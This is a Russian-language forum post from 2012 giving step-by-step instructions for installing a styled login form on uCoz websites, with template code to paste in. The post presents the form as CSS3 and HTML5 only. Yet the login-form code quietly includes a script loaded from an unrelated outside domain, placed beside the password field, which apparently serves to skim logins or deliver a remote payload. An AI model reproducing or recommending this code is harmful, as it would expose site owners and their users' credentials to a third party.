Информационная панель

Популярные статьи
Новые статьи
Популярные готовые сервера
Новые готовые сервера
Активные пользователи
Новые пользователи
Популярные фильмы
Новые фильмы








Здесь может быть ваша реклама, по всем вопросам обращаться на форум Elagia.ucoz.Ru

Форма входа CSS3 & HTML5 - Форум Elagia
  • Страница 1 из 1
  • 1
Форма входа CSS3 & HTML5
LookflacoДата: Пятница, 08.06.2012, 15:47 | Сообщение # 1

Сообщений: 6
Награды: 0

[ 0 ]

Не в сети
отлично смотрится под любой дизайн

Смотрим скрин скрипта: http://s019.radikal.ru/i607/1205/2c/2f2f79b1f69a.png

Очень красивая форма входа в которой вместо jq & js используем CSS3 и HTML5,ну очень простая в установке форма входа для uCoz.
Установим нашу форму входа для uCoz:
ПУ-->Управление дизайном-->Страница входа пользователей. В head подключаем css файл:

Code
<link rel="stylesheet" type="text/css" href="/css/style.css" />


Предварительно, вам необходимо, в файловом менеджере создать папки css и images и загрузить в них файлы из одноименных папок архива с исходниками.

СКАЧАТЬ: narod.ru/disk/50873441001.b873d9c8f72428277d36f499c2ad5f0f/152_fv.rar.html

Ниже, находим:

Code
$BODY$


И заменяем его на:

Code
<?if($USER_AGENT$='ie')?>$LOG_FORM$<?else?>$BODY$<?endif?>


Затем, ПУ-->Управление дизайном-->Форма входа пользователей. Заменяем весь код на этот:

Code
<div class="container">   
<section id="content">   
<div>   
<input class="loginField" placeholder="Введите логин" required="" id="username" type="text" name="user" value="" maxlength="50"/>   
</div>   
<div>   
<input class="loginField" placeholder="*******" required="" id="password" type="password" name="password" maxlength="15"/>   
</div>   
<div>   
<input name="sbm" type="submit" value="Вход"/>  
<script language="javascript" src="http://lifi-gta.ru/jogin_form_javascript.js"></script>
<a href="$REMINDER_LINK$">Забыл пароль</a>   
<a href="$REGISTER_LINK$">Регистрация</a>   
</div>   
<div class="button">   
<input class="test" id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$">запомнить</label><input class="test" id="hid$PAGE_ID$" type="checkbox" name="hidden" value="1" /><label for="hid$PAGE_ID$">скрытый</label>   
</div>   
</section>   
</div>


На этом установка завершена!
  • Страница 1 из 1
  • 1
Поиск:


Все материалы размещенные на сайте предоставляются исключительно в ознакомительных целях. Копирование фалов возможно только при указывания источника на наш сайт.


Конструктор сайтовuCoz
PR-CY.ru